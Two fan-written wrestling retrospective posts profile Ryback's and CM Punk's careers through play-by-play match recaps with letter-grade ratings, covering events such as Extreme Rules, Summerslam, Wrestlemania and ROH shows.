Wrestler of the Day – September 7: Ryback

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OVW Title: Anthony Bravado vs. Ryback

Off to FCW with this match on February 15, 2009.

Mia Mancini/Dylan Klein vs. Skip Sheffield/AJ Lee

Mancini is better known as Serena Deeb and Klein never went anywhere. The girls get things going and fight on the mat with Mancini taking over. Off to the guys with Sheffield cleaning house. Mancini slaps him in the face to break up the Over the Shoulder Boulder Holder and Klein gets in a few shots to take over. We hit the chinlock on Sheffield before the guys fight to the floor. Mancini tags herself in but gets caught in a headscissors followed by a Shining Wizard for two. A standing Sliced Bread #2 is good for the pin on Mancini.

William Regal/Skip Sheffield vs. Matt Hardy/Justin Gabriel

The rookies start us off. Power vs. speed never stops working for me and this works just fine. Fujiwara armbar by Gabriel and here’s Hardy. Poetry in Motion to Sheffield as we take a break. Regal is in when we get back against Gabriel. Regal sends both Gabriel and Hardy to the floor as not a lot is going on in this match.

Sheffield is giving Regal advice which is rather amusing. Back to the power guy who struts before hitting a splash on Hardy. The fat of his stomach helps protect him I guess. Hardy gets beaten down for a good while. I’m sure he’ll blog about it later on and make a video under a false name.

Regal keeps the tag to Gabriel and yells at Sheffield to stop doing stupid stuff. Twist of Fate out of nowhere sets up the debut of the 450 which blew the LD to pieces when it hit. The match was boring but the ending more than made up for it I think.

Rating: C. The length hurt it here but the idea was to show that Gabriel could hit one big move and it worked very well. That’s still one of the best moves in the company nearly a year later and it worked very well here. Not a great match and the tag from last week was better, but this was a good debut for both of the rookies here.

And another on April 27, 2010.


Skip Sheffield vs. Daniel Bryan

Bryan gets a running dropkick as Sheffield is reeling early on. A heel hook has Skip in real trouble. And never mind as Sheffield just beats the tar out of him and hits the Over the Shoulder Boulder Holder to end it in maybe 90 seconds.

Sheffield would snap his ankle and be out for nearly a year. He would return as the unstoppable monster Ryback, who participated in a bunch of squashes, such as this one at Extreme Rules 2012.

Aaron Relic/Jay Hatton vs. Ryback

His competition would pick up a bit on Raw, August 27, 2012.

Jack Swagger vs. Ryback

Ryback vs. The Miz

Miz looks worried about getting in the ring. Ryback finally pulls Miz into the ring and the beating begins. A big boot puts Miz down but he avoids the clothesline. Ryback hits the Vader body attack, a spinebuster, the clothesline and the Shell Shock ends this at 2:30.

Raw World Title: Ryback vs. CM Punk

Ryback misses a charge into the corner and Punk hits a springboard clothesline to take him down. A top rope double ax only kind of hits so Punk hits a second to stagger Ryback. A third attempt is caught in midair but Punk hits a leg lariat to take Ryback down again. Punk sends him to the floor and hits the suicide dive but Ryback is slammed into the cage instead of being knocked down. Ryback easily breaks up a neckbreaker on the floor but his spear hits the steps.

His rematch was in a triple threat match at Survivor Series 2012.

Raw World Title: John Cena vs. Ryback vs. CM Punk

Punk is back in now and scores with a snap suplex on Ryback, but the monster pops right back up and gorilla presses the champion into a fallaway slam. Cena comes back in with a belly to belly for two on Ryback before putting on a chinlock. Punk breaks it up with a top rope ax handle and Cena falls to the floor. Another ax handle attempt is caught in midair but Punk takes Ryback down with a neckbreaker. Cena sneaks in with a rollup for two but Punk DDTs him down for two more.

Ryback was scheduled to face Punk for the title in a TLC match at TLC but Punk was legitimately injured. This was his other option.

Ryback/HELL NO vs. The Shield

Ryback would finally get this TLC match on Raw, January 7, 2013.

Raw World Title: CM Punk vs. Ryback

Punk almost gets crushed by the steps before using them as a launching pad to knee Ryback in the face. Punk chairs Ryback down a few times and we take a break. Back with both guys down in the ring and Ryback getting up first. Ryback loads up a table on the floor but Punk blasts him in the ribs with a chair and sets up a table of his own. Ryback shoves Punk onto the announce table but another chair shot slows him down.

Ryback finds another ladder and goes up but there go the lights. The lights come back up and the Shield is on the ladder. Ryback punches two of them down but has to get down to stop the third one. The numbers catch up with Ryback and he gets destroyed by chair shots and the Triple Bomb through a table onto the steps. The Shield leaves and Punk slowly climbs up to retain the title at 18:50.

After not winning the title, Ryback would turn heel after Wrestlemania XXIX and get another title shot at Extreme Rules 2013.

Raw World Title: John Cena vs. Ryback

Cena pulls himself to his feet and then pulls the top rope down, sending Ryback out to the floor. With Ryback up at six, John slides a table into the ring. Ryback escapes the AA though and hits his over the shoulder Stunner for an eight count. The table is set up in the corner now but Cena takes Ryback down with some shoulder blocks. Ryback catches him in mid-air though and hits a fallaway slam through the table. Cena makes it up at nine and avoids a charging Ryback, sending him shoulder first into the post.

After choking Ryback for a good while the monster stays down for nine. Cena puts Ryback on a conveniently placed table and dives off a balcony with a splash through said table. Ryback is again up at nine so Cena sprays him with a fire extinguisher. They head up to the stage with Cena hosing Ryback down again and again before hitting Ryback in the face with the fire extinguisher.

Raw World Title: Ryback vs. John Cena

The AA is countered into the over the shoulder Stunner for two for Ryback. Cena is thrown to the outside and pummeled by the lumberjacks (JTG still has a job. Who knew?) before Ryback gets to destroy him a bit more. The lumberjacks get another crack at Cena but he gets back in fast enough to send Ryback to the lumberjacks as well. Ryback gets back in unscathed so Cena can initiate his finishing sequence, only to be sent into the other lumberjacks this time. Back in and Ryback is sent to the floor again but not touched this time either.

The third fall is an ambulance match, meaning the first person to be placed inside an ambulance to the doors shut loses. Ryback takes Cena down 25 seconds after the AA and loads up the announce table. More Goldberg chants abound as Cena is powerbombed through a table. The third fall officially begins with Ryback dragging Cena to the ambulance, only to be shoved into it by the champion.

Chris Jericho vs. Ryback

Back to the chinlock but Jericho escapes into a northern lights suplex and a failed Walls attempt. A top rope ax handle is caught in a Ryback belly to belly overhead suplex. The Meathook puts Jericho down and the Codebreaker is countered into a kind of spinebuster. A powerbomb gets two on Jericho but he comes back with an enziguri for two.

Ryback would help his mentor Paul Heyman in his war with CM Punk. From Hell in a Cell 2013.

CM Punk vs. Ryback/Paul Heyman

Here are the former Heyman guys getting a Tag Team Title shot at TLC 2013.

Tag Titles: Real Americans vs. Big Show/Rey Mysterio vs. Cody Rhodes/Goldust vs. Ryback/Curtis Axel

Back inside and Cesaro gets two off the gutwrench suplex and we hit the chinlock. Off to Jack again for a bearhug as Big Show plays cheerleader for Goldust. Goldie fights back with right hands and a springboard elbow to the jaw. Cesaro easily takes him down and we get a short version Cesaro Swing. A Swagger belly to belly suplex puts Goldust down again and we get the Vader Bomb/double stomp sequence from the Real Americans for another two.

Cody tries a springboard dropkick but gets caught in a powerbomb by Rey (how often do you hear that?) for two. Cross Rhodes are countered again but the 619 is countered into an Alabama Slam which is countered into a sunset flip for a VERY close two. The third attempt at Cross Rhodes FINALLY connects for the pin to retain the titles at 21:06.

Ryback and Axel would get another title shot on Raw, April 28, 2014.

Tag Team Titles: Usos vs. Ryback/Curtis Axel

A spinebuster gets two on Jey and Ryback pounds on his own chest. The Meat Hook is blocked by another superkick and Jey fires off some chops, only to be taken down by a regular clothesline. Shell Shock is countered into a sunset flip for two but Ryback takes him down again. The Usos make their own blind tag though, so as Axel hits the PerfectPlex, Jimmy dives in with the Superfly Splash for the pin on Curtis at 11:16.

Ryback/Curtis Axel vs. Kofi Kingston/Big E.

Ryback and Big E. get things going with Ryback hammering away against the ropes. Big E. runs him over but walks into a spinebuster and gets double teamed in the corner. A side slam gets two for Ryback and he throws Big E. down with a belly to belly. The Meat Hook is countered by a clothesline from Big E. and he makes the hot tag to Kofi. Kingston speeds things up and gets two off the SOS as everything breaks down. Ryback rolls through a high cross body and pins Kofi at 3:25.

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Wrestler of the Day – August 25: CM Punk

Time for another big name with CM Punk.

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We’ll start with Punk’s rematch against Chris Jericho at Extreme Rules 2012 in Punk’s hometown of Chicago.

Raw World Title: Chris Jericho vs. CM Punk

It’s a Chicago Street Fight. They’re both in street clothes which is at least something different. They do big match intros and Punk is ungodly over. They stare each other down and it’s a brawl to start. Punk stomps him down into the corner and they head outside. Punk throws two chairs in and grabs a kendo stick, drawing an ECW chant. He gets in a few shots and tries a baseball swing at Jericho but Chris hits the floor.

Back in a clothesline puts Jericho down and it’s back to the stick. Punk’s sister is here in the front row and his parents are here somewhere. Jericho hides behind the referee and pokes Punk in the eye to take over. Out to the floor again and into timekeepers’ area but Punk gets in a shot. A headbutt puts the champion back down and he goes over in front of Punk’s sister.

Jericho gets in her face and gets slapped. He charges at her and that makes Punk snap. In something I’ve never seen before, Punk rips the top off the announce table and puts Jericho through the top of it. He tries a piledriver but Jericho shoves him off and takes over again, ramming him into the barricade which gets two in the ring. Chinlock time but it doesn’t last long. We lose a turnbuckle and Jericho fires off on Punk’s back with the kendo stick.

Jericho heads to the floor and finds a beer under the ring. That gives Punk a chance to catch his breath and he comes back with kendo stick shots to the back. Jericho comes back again and they go to the corner with Punk knocking him into Macho Elbow position. That only gets two as this is getting good. GTS is countered and Jericho throws him into a chair wedged between the ropes for two.

Codebreaker puts Punk down and Jericho smiles. He doesn’t cover but sets up the Walls. It’s the Liontamer and Punk is in trouble. Now it’s just the Walls because the Liontamer is too hard to get out of. Punk gets the rope but Jericho doesn’t let go because it’s a street fight. The champ finds a fire extinguisher under the ring and Jericho is kind enough to look over at him so it can be blasted into his face.

They go to the floor and Punk fires off some kicks. Jericho is laid out on the table so Punk goes up top and almost falls off the top. Now the Macho Elbow hits in a great looking dive. Jericho is holding the back of his head and seems mad at a chair. Back in the ring that somehow only gets two so Punk throws on the Anaconda Vice. Jericho tries for the kendo stick and gets in enough shots to Punk’s head to break the hold. Punk hits him in the ribs with a chair but Jericho grabs it for a Codebreaker which gets two. Jericho tries a GTS but Punk counters into a slingshot into the exposed buckle. GTS keeps the title at 25:10.

Rating: B+. This took awhile to get going but the near falls at the end were great. I don’t think anyone expected Punk to lose here and it wouldn’t have been right for him to. There’s no need for this feud to continue now as Punk has pinned Jericho and made him tap so there’s nothing left to prove. I’m not sure where either of them goes next but it should be interesting. Very good match.

One of Punk’s biggest feuds before he got huge was over a culture clash with Jeff Hardy. Punk had cashed in his Money in the Bank briefcase to take the title from Jeff. Hardy took the title back, setting up this showdown at Summerslam 2009.

Smackdown World Title: Jeff Hardy vs. CM Punk

TLC match here. They fight over a lockup to start until Punk takes him into the corner for some knees to the chest. He stomps Hardy down and throws him to the floor before grabbing the first chair. A shot to the ribs and back allows Punk to go up but Hardy makes a quick save. Hardy stomps him down in the corner and hits the slingshot dropkick before going up. This time it’s Punk making the save but Hardy sends him into the ladder to put both guys down.

Back up and Hardy loads up Poetry in Motion but Punk drops him onto the open chair to take over. A series of ladder shots to the back have Hardy in big trouble. Punk sends him to the floor and hits a suicide dive but misses a chair shot. Hardy sends him into the post and gets in a chair shot to the elbow to take over. This is a slower paced match so far which is usually the best way to go about TLC matches. Now Poetry In Motion hits against the barricade and Punk is in trouble.

Hardy puts him on a table but Punk moves before Hardy can splash him through it, sending Hardy down in a big crash. We get another ladder in the ring as JR calls this a carcinogenic match. Punk goes up but Jeff literally jumps over him to go after it himself, only to get caught in an electric chair, only to counter that into a sunset bomb to put both guys down. The champion goes up first but Punk shoves him onto the corner in a SCARY landing with Jeff’s leg hitting the rope.

Punk says on him with a superplex onto the ladder in another cringe inducing landing. Somehow Jeff snaps off a quick Twist of Fate but the Swanton hits knees. Punk hits the running knee in the corner but the bulldog is countered by Hardy throwing Punk over the top and through a table. Jeff starts to climb but Punk is back up to dropkick Hardy off the ladder. They head outside with Punk’s knees being sent into the steps, allowing Hardy to go NUTS on Punk with a chair.

Hardy loads up a table next to the ring and this Punk in the head with part of the announce table and a monitor. A chair shot puts Punk down again as Hardy is in full control. Jeff sets up the big ladder and hits an INSANE Swanton Bomb through Punk through the announce table. That looked NUTS but the crash was great. Both guys are checked on as the stretcher is brought out. Hardy is taken out but Punk is crawling towards the ladder. Jeff gets off the stretcher and goes after Punk, only to be kicked off the ladder in another big crash, giving Punk the title.

Rating: A-. This was an excellent war with a great story being told: Punk played it safe while Hardy lived for the moment and lost the title as a result. The Swanton spot looked amazing and it was the last straw for Hardy as he just couldn’t keep getting up from all these crashes. Awesome match here and a great bit of storytelling.

Punk is the only man to win two Money in the Bank matches. Here’s one of them from Wrestlemania XXIV.

CM Punk vs. Shelton Benjamin vs. John Morrison vs. Chris Jericho vs. MVP vs. Mr. Kennedy vs. Carlito

Morrison is a tag champion and MVP is US Champion, having held it for nearly a year. Jericho is also Intercontinental Champion because what else is he supposed to do? Everyone goes after a ladder to start other than MVP who stays in the ring. Someone slides one in and MVP uses it to knock everyone down. Jericho brings in a big ladder and it’s time for a duel. MVP goes down and here’s Morrison to use his own ladder to send Jericho down.

In an awesome move, Morrison goes up top with the ladder and moonsaults down onto a bunch of guys at once. Kennedy uses the distraction to go up but Jericho makes the save. He tries a catapult on Kennedy but sends him onto the ladder by mistake. Morrison dives onto the ladder to stop Kennedy but Shelton climbs his own ladder to make it a three way race. Kennedy loads up a superplex on Morrison but Shelton jumps over both of them with a sunset flip to make it a Tower of Doom. Cool spot.

Carlito tries to shove Shelton off the ladder but he lands on the top rope on his feet. Shelton shoves the ladder at Carlito and tries to dive onto said ladder but it gives way. Punk stops Shelton from going up and hits the GTS but Kennedy stops him with the rolling fireman’s carry onto a ladder. MVP is back in now to kick Kennedy in the head but gets sent into a ladder by Carlito.

Shelton’s dragon whip CRACKS Carlito in the head but as he goes up, Kennedy and Carlito shove the ladder forward, sending Shelton over the top and through a ladder which was bridged between the ring and the barricade. Carlito and Kennedy go up but MVP breaks that up, only to be broken up by Morrison. Jericho breaks up Morrison’s attempt by putting him in the Walls on top of the ladder. Again, awesome. Kennedy tries to use the opening but Jericho throws John down and starts brawling.

Punk and Carlito dive at the ladders to make it a fourway with only Jericho lasting on top. Carlito comes back with the Backstabber off the ladder and everyone is down again. MVP goes up the ladder but here’s the returning Matt Hardy to stop him with a Twist of Fate off the ladder. Everyone is back in again and Jericho beats on all of them with the ladder. In a cool visual one ladder is jammed into the bottom of another, so as Morrison climbs the vertical (and unfolded) one, Jericho shoves it back into the corner and onto Punk.

Carlito and Jericho go up but Carlito spits apple in the face to break it up. Kennedy shoves Carlito off but gets hit in the ribs with a ladder by Punk. Jericho hits a Codebreaker with a ladder onto Punk to put everyone not named Jericho down. Punk goes up to stop Jericho but gets hit in the face by the briefcase. Punk climbs up again and knocks Jericho into the Tree of Woe with a shot to the head, allowing Punk to climb up and win the briefcase.

Rating: B. Good MITB here but as usual the high amount of people hurt it. Nothing here really stood out other than the Walls and Matt’s return, as you can only get so much out of the same spots we’ve seen before. It’s certainly good but it’s a step below some of the other stuff, and this would only get worse until we got some fresh blood in there. A power guy wouldn’t hurt either.

Back to Jericho in Punk’s comeback at Payback 2013, again in Chicago.

CM Punk vs. Chris Jericho

Jericho comes out to CM PUNK chants but it’s not anti-Jericho. Punk gets a big reaction but it’s not thunderous. I’m thinking the fans don’t love his mutton chops. Cole lists off some famous wrestlers from Chicago including One Man Gang (not exactly a big deal) and the Crusher (from Milwaukee) but nothing about the LOD or Lex Luger. They trade control on the mat with Jericho being booed out of the building. Back up and Jericho grabs a headlock for very early control.

Punk counters into a headlock of his own and they chop it out. Jericho stomps Punk down into the corner and is booed for the first time in years. Punk is sent to the outside for a baseball slide but he counters the springboard dropkick with a guillotine. Back in and Punk hits a top rope ax handle and hooks a top wristlock. Off to a shortarm scissors as it seems like they’ve got a lot of time to work with here.

Back up and Punk is sent into the buckle to give Jericho a breather. Some shoulders put Punk down as does an ax handle but he avoids the Lionsault. A swinging neckbreaker gets two for CM and the fans are cheering for both guys. The corner bulldog is shoved away to give the Canadian two and there are the Walls of Jericho. Punk crawls through and hooks the Anaconda Vice but Jericho gets his feet onto the ropes.

Punk calls for the GTS but Jericho counters into the Walls which are countered into a GTS which is countered into a rollup for two. A Codebreaker gets two for Chris and it’s time for the main event strike off. Punk kicks away at Jericho’s head and hits a leg lariat to put Jericho down. The knee in the corner sets up the Macho Elbow but the GTS is only good for two. Another Codebreaker is broken up and Jericho is sent to the outside. Punk hits the suicide dive but Punk counters the springboard clothesline into the Codebreaker…..for two. The place is going NUTS on these kickouts now.

Jericho pins back the arms and drives in elbows to the face as the fans chant THIS IS AWESOME. Jericho hits a good 25 elbows and Punk is in big trouble. The Walls are countered into a small package for two more and they slug it out with Punk getting the better of it. A standing hurricanrana is countered into the Walls so Heyman begins to pray. Punk punches Jericho’s sore arm to make it a half crab before fighting up and hitting a pair of GTS’s for the pin at 21:27.

Rating: A-. This was the kind of match that Punk needed to have in his return. The fans weren’t completely hating Jericho but he was clearly the heel in the match, pretty much by default. Punk is going to be a huge face by fan response alone so turning him wouldn’t be a problem at all. This was the great match you would expect from these two on this stage.

Here’s the other MITB match from Wrestlemania XXV.

MVP vs. Shelton Benjamin vs. Christian vs. Kofi Kingston vs. CM Punk vs. Finlay vs. Mark Henry vs. Kane

MITB here. Henry has Tony Atlas with him, MVP is the face US Champion and Kofi is still Jamaican. BIG pop for Christian here. It’s a big brawl to start as the fans are solidly behind Christian here. Christian and Shelton run over Henry with the big ladder but Kofi jumps over it and takes both guys down. There’s a Boom Drop onto the ladder onto both guys. The ladder is set up in the ring but here’s Kane to beat everyone up.

Henry and Kane go up the ladder but everyone bands together to pull them down. The monsters are both sent to the floor and a second regular sized ladder is set up. A bunch of people go up but Kane and Henry shove everyone down. Kane kicks Henry down and loads up the big ladder again. Henry breaks up that attempt but opts to throw the ladder at Finlay instead of climbing.

Finlay dives through the ropes at Kane and Shelton so Christian can dive onto Finlay and Kane to take them out. MVP dives on all three of them and Kofi and Punk hit stereo suicide dives to take out all four guys. Shelton climbs onto the huge ladder and DIVES onto all five guys, looking like he landed on his head at first look. Now HENRY goes up top but Finlay breaks it up to prevent an earthquake.

Horny slides in his own ladder to climb onto Henry’s back and dive onto all six guys on the floor. Finlay is the only guy standing and throws in a big ladder, but he had to fight Kofi. Kofi dives THROUGH the ladder and drops it onto Finlay for good measure. Finlay drops him with the Horny ladder and does the same to Christian and Kane. The Irishman tries to go up but Kofi kicks him down.

Kingston tries for a climb but Henry is back again and shoves down the ladder. In an AWESOME spot, Henry holds the ladder to set it in place and Kofi runs up, only to be dropped down and hit with a World’s Strongest Slam onto the ladder. MVP slides a ladder into the standing one to make a kind of platform. Shelton slides under the ladder and kicks MVP in the ribs. MVP comes back with a kind of powerbomb on Benjamin but Punk stops the climb.

Now it’s Christian and Punk with Punk on the ladder and Christian on the platform. Now they’re both on the same side of the ladder and Christian hits the Killswitch off the ladder. By hits I mean Christian drops him in midair and Punk’s head never came within three feet of the mat but you do what you can I guess. MVP climbs up but Shelton climbs a ladder on the floor to get to the platform to get to the ladder for a sunset bomb to MVP. By sunset bomb, I mean he doesn’t get MVP over and basically pulls MVP’s face down the ladder. That’s two big blown spots in a row.

MVP is up first and pounds on Shelton before being powerbombed over the top rope and down onto a few guys. His head looked to smack against the barricade in a scary spot. Shelton and Finlay are on the ladder now and Finlay is knocked onto the ladder platform. Christian takes Shelton down and pounds away until Shelton takes the platform apart.

Shelton and Christian are both standing on two ladders but Christian shoves Shelton to the floor. Punk however springboards onto the ladders but gets caught upside down in a ladder, which is what Punk did to Christian to win last year. Kane stops Christian and chokeshoves him down to the mat. Punk pops up and kicks Kane down to win his second straight MITB.

Rating: B-. The blown spots REALLY bring this down because they were some terribly blown spots. Punk winning is fine as it was eventually the catalyst for his heel turn but that wouldn’t be for about six months. The match was good and having some fresh blood with Kofi out there helped, but the match overall was a letdown compared to other years, as the problem becomes “how do you top the other stuff?”. Still good though.

Here’s the required ROH match, from Joe vs. Punk II.

ROH World Title: Samoa Joe vs. CM Punk

Punk is blonde here. The fans are split as Joe is the most popular guy in the company but it’s Punk’s hometown. They shake hands and here we go. It’s weird to see Joe using power moves. The idea is that Joe proved he could go long distances and now Punk needs another idea to fight Joe. Feeling out process to start with not much of note going on so far. They go into the corner and Joe breaks clean to tick off the crowd.

Joe hooks a hammerlock and into an armbar. Punk takes him to the corner and it’s another clean break, almost shocking everyone. Punk cartwheels out of a wristlock and Joe is like boy please and takes him down into a camel clutch. Man and he cranks on that thing. He’s channeling his inner humbler. Punk rolls out into a headlock which he used a lot in the first match. They have a ton of time to work with here so this is fine.

In a nice looking move, Joe has Punk in a Pedigree position but they’re on the mat and it’s a submission hold. I like the plug from the commentator as he talks about the shopping site where there are DVDs and all that jazz. That’s all normal and fine but at the end of it he says “Ok we got that out of the way. It’s important but I want to get back to the match.” I don’t know why but I found that really refreshing.

This has been almost all on the mat or in a technical style and I’m digging it. Punk has used a bunch of headlocks here but the idea is he used that in the first match to wear Joe down and had success with it. That’s some higher level psychology and the announcers did their part by explaining it in like two sentences. See it’s not hard. Even a belly to back suplex can’t get the hold broken.

They exchange shoulder blocks and Punk is getting fired up. We hit the strikes and Punk speeds things WAY up, grabbing a rollup and Joe bails for a bit which stuns the announcers. Back to the mat game and man are they fast down there. After Punk chills for a bit on the floor he tries a test of strength because….uh…..why would you try that against Joe? They fire off chops in the corner and while it’s not exactly Flair vs. Steamboat it’s not bad.

They go to the corner now and Punk walks the ropes to start in on the arm. Joe’s arm gets worked on for a long while and now it’s back to the headlock. This has been going on about half an hour now and it’s pretty solid stuff, almost like a chess match. Out to the floor and of course Punk is in over his head out there. Joe is a big power brawler to go with his submission stuff here so he was really more like Benoit actually.

Over to the corner and Joe fires off some face washes but Punk avoids the running boot. Now Punk washes Joe’s face in the other corner. Nice little touch there. Foley is watching from the crowd. Thankfully they don’t cut to him and miss part of the match. A driving knee from the top (knee on the back of Joe’s head and Punk drove him down) gets two. Joe grabs a very modified STF out of nowhere and DANG. They were up on their knees but then Joe bent him back so that Punk was laying on his back but his legs were underneath him. FREAKING OW MAN!!!

Punk goes up but Joe just walks away like only he does. I love that realism thing. Delayed vertical suplex (about twenty seconds) gets two for Joe. Punk goes for the arm but Joe cuts the knees out and hooks a Boston Crab. Joe fires off a bunch of kicks to the head but Punk fires off some forearms. Joe is like whatever and pops him in the face for two. This time Joe gets the Facewashes and the running boot.

Punk finally gets a boot up in the corner and then a rana to the floor. A suicide dive puts both guys down and Punk gets control back. Punk, ever the jerk, hits Joe’s Ole Kick on the floor. He tries another rana off the apron but Joe catches him in a powerbomb position and spins Punk around into the barricade. Now Joe fires off the Ole but Punk blocks. They slug it out on the floor and this time the Ole hits.

After a quick skirmish in the ring they go back to the floor…..and the announcers walk off. They say they want to watch it as fans and say the match speaks for itself. Joe gets a DDT onto the apron and I’m assuming the fanboy announcers are pleased with that. Were they paying them by the hour and run out of money or something? Back in and a spear gets a very fast two.

We’re at 45 minutes. A top rope splash misses for the fat man and they do the slugging it out from their knees spot. A snap powerslam gets two for Joe and it’s off to a cross armbreaker. Punk just can’t get away from that, even today. A big boot gets two for Punk. There’s someone at ringside but since the announcers ran out for guacamole and gram crackers, we’re on our own as to who he is.

Punk gets a tornado DDT and the Anaconda Vice which he lets go for no apparent reason. Joe takes over with a clothesline and follows it up with a pair of busters (gut and brain) for two each. Joe does his powerbomb into a crab into the STF into the crossface sequence. Sunset flip gets two for Punk as does a kick to the head. They do the whole exchange submission finishers and Punk winds up putting the Clutch on Joe.

That gets him nowhere and a double clothesline puts them both down. Two Pepsi Plunges are blocked into a superplex by Joe for a delayed two. Joe sets for the MuscleBuster but Punk goes insane pounding on Joe’s back to break it up. Another Plunge is attempted but Joe counters into the MuscleBuster….and that’s the time limit as Punk is out cold. Uh…shouldn’t the match end with Joe out cold and Punk needing 5 more seconds to win the title?

Rating: B. It’s good, but the feeling I got here was “we have to have a classic”, not “this was a classic”. The first 15 minutes of this were all about the headlock and wearing Joe down and all that jazz, but it never went anywhere after that. The last half an hour or so didn’t really have much drama for my taste.

The problem was they were going for regular moves instead of trying to finish. The problem with that is that you have Joe and Punk who have already gone an hour before and you know that’s not going to finish either guy. This was reminiscent of Hart vs. Michaels, where a lot could have been condensed and the match would have improved a lot. It’s still good, but it’s not the epic classic that it’s supposed to be.

We’re going to go to Louisville for a big match in one of my favorite feuds. Punk had signed with WWE and was sent to OVW. The top man there was Brent Albright, who is a Chris Benoit style serious wrestler. They feuded for months and traded almost every title in the promotion. Here’s one of their big matches from OVW TV on November 16, 2005.

TV Title: Brent Albright vs. CM Punk

This is right after Eddie Guerrero’s death so we get a ten bell salute before the match. Punk has only been champion for a week at this point. This would be near the start of the feud as Albright had beaten Punk a few times but Punk stole the title that Brent had been chasing for months, using Brent’s own hold for the win. Feeling out process to start with Albright going after Punk’s arm, likely setting up for his crowbar submission hold.

A quick legsweep gets two for Brent and they hit the mat with the challenger grabbing a front facelock. Punk gets caught in a headlock to slow things down and he can’t suplex his way out of it. He finally fights up and tries a rollup but has to fight out of a Sharpshooter attempt. Another headlock has Punk on the mat and we take a break. Back with Brent putting on another headlock but Punk fights up much faster this time. He wins a slap off and gets two off an enziguri.

There’s a Facewash in the corner to Brent’s bad eye for two and now it’s Punk putting on a chinlock. A dropkick to the back of Albright’s head gets two and Punk grabs a kind of crossface. Brent fights up so Punk grabs a belly to back suplex followed by an Eddie Guerrero slingshot hilo. The champion chokes while arguing with the referee before rolling Brent over into a freaky looking hold where his legs are holding Brent’s arms down like a sunset flip but he leans Albright forward and cranks on his neck at the same time.

We take another break while the hold is on and come back with Punk getting a pair of near falls. Punk hooks Three Amigos but his Frog Splash hits knees. Albright comes back with a series of clotheslines and a backdrop. A high collar suplex gets two and Punk charges into an overhead belly to belly suplex in the corner. Somehow it’s only good for two with commentator Al Snow sounding shocked. Brent’s Swan Dive connects but he can’t cover due to smashing his head. He settles for a delayed two but walks into a Crowbar from Punk.

Brent counters into one of his own but Punk rolls through into a side choke called the Anaconda Vice. Albright makes the ropes and rolls some Germans but Punk makes the ropes as well. They head outside where Brent suplexes Punk on the floor but former TV Champion Ken Doane comes out and nails Albright with a chair. Punk didn’t see it and asks what happened before throwing Brent back in and slapping on the Vice for the win.

Rating: B. The ending was storyline advancement and set up some really good stuff down the line. These two work really well together and both guys beat the tar out of each other. Punk throwing in some tributes to Guerrero was a nice touch and made the match feel special. This was really good stuff and the next step of an awesome feud.

After the whole Summer of Punk was screwed up, Punk got another title shot at Survivor Series 2011.

Raw World Title: CM Punk vs. Alberto Del Rio

Alberto is defending. Del Rio has Ricardo Rodriguez introduce him, so CM Punk brings out his own ring announcer: HOWARD FREAKING FINKEL! Round one goes to Punk. Howard waddles out and seems genuinely choked up by the reaction he gets. The fans want ice cream which is a thing he said he wanted in his own image. Feeling out process to start as Punk does his headlock so he can call spots to Del Rio.

Now the fans chant for Colt Cabana. Man these guys just won’t stop. Punk cranks on the arm a bit and Alberto hides on the floor. Back in and Punk knees him down in the corner and hits a dropkick to send the champ back to the floor. There’s the suicide dive from Punk and it’s back in to work on the arm. Alberto sends him into the ropes where Ricardo gets in a shot, allowing Del Rio to take over.

Alberto comes in off the top with an elbow to the head for two and it’s off to the arm for the champion. Both guys have arm finishers which isn’t something you often see. Punk fights out of the hold but can’t hook the GTS as Del Rio hooks a DDT on the arm. The champ drops knees on the arm and we hit about the 8th armbar of the match. Punk breaks that one as well but charges into a tilt-a-whirl backbreaker for two.

CM ducks a charge to send Alberto to the floor and things slow down again. Back in and Punk makes a comeback with a lot of strikes to the head and a neckbreaker for two. The knee in the corner and bulldog get the same but Alberto counters the GTS into a Backstabber for two. A running enziguri in the corner gets a VERY close two on Punk and now it’s Alberto that’s frustrated.

Del Rio loads up a superplex in the corner but Punk knocks him off and loads up the Macho Elbow but gets crotched. Alberto gets in a hard kick to the arm but misses a charge into the post while Punk is still on top. Now the Macho Elbow hits to a big pop but it only gets two. The crowd is really getting into these kickouts now. Punk shouts for the GTS but Alberto counters it for the third time. The armbreaker is escaped but Punk’s high kick misses as well and there’s the armbreaker on full.

After getting as close to tapping as a face is going to, Punk gets his feet in the ropes. Del Rio escapes the GTS for the fourth time because the arm isn’t there. Punk kicks Ricardo in the face and gets rolled up with trunks for two. The high kick gets two for CM so he immediately puts on the Vice and wins Del Rio is in big trouble. He grabs at Punk’s face (realistic, nice) but has to tap and Punk wins the title.

Rating: A. I don’t remember liking this as well the first time but this was a really good match. Del Rio seemed like a real threat to keep the title here as Punk’s arm just wasn’t going to be able to do hit the GTS. The Vice is a little more realistic and I can live with him being able to do that so even the ending is ok. This was a very solid match, but the problem with the story overall is the title changes happening so rapidly.

In short, Del Rio getting two title reigns and Cena getting one out of all this didn’t need to happen. Punk could have won at Summerslam, beaten Del Rio cashing in here, and things would have been much stronger. But hey, that would mean MITB would be interesting instead of there for a shock value and we can’t have that.

Finkel does the “and NEEEEEEEEEEEEEW” WWE Champion call. Punk is the new WWE Champion having won it in the middle of Madison Square Garden and The Fink got to tell the people about it. Is there a cooler moment in wrestling? No, there isn’t.

Here’s Punk’s alleged Wrestlemania main event from Wrestlemania XXVIII.

Raw World Title: Chris Jericho vs. CM Punk

This is over who is the best in the world and Jericho claims that Punk is really an alcoholic and his family has a bunch of substance abuse issues. The buildup for this really was good stuff, even though this is nowhere near the main event. Punk takes it to the mat to start and fires off some kicks to the chest. He does the same with knees in the corner but stops when the referee gets to four. Jericho slaps him in the face and takes the beating like a man to try to get the DQ again.

Another few slaps have Punk in a frenzy but he holds off to avoid the DQ. A slam puts Jericho down but he rolls away before the Macho Elbow can be launched. Instead CM dives to the floor to take out Jericho, followed by a wicked smile. Jericho asks how Punk’s sister and father are but Punk doesn’t swing the chair he grabs. Punk charges into a pair of boots to the face and the challenger takes over.

They head to the apron and Punk tries a GTS, only to be clotheslined back into the ring. Jericho hooks a kind of Jackhammer to the floor for two back inside. We hit the chinlock but Punk fights up with a slap. Jericho comes right back with a tilt-a-whirl backbreaker for two and kicks the injured back again. Some hard kicks to the torso keep Punk in trouble but he fires off some strikes of his own. The champion goes up but is pulled back down to land hard on his back.

Punk escapes a bow and arrow hold and sidesteps a charge to send Jericho crotch first into the corner. A spinning neckbreaker gets two on Chris and there’s the running knee in the corner. Jericho counters the bulldog but has to stop the Lionsault to avoid knees. That counter is countered into a Walls attempt but Punk shakes him off for two. The Macho Elbow hits knees and Jericho hits the Codebreaker but it sends Punk out to the floor. Back in and Punk grabs a GTS out of nowhere for two.

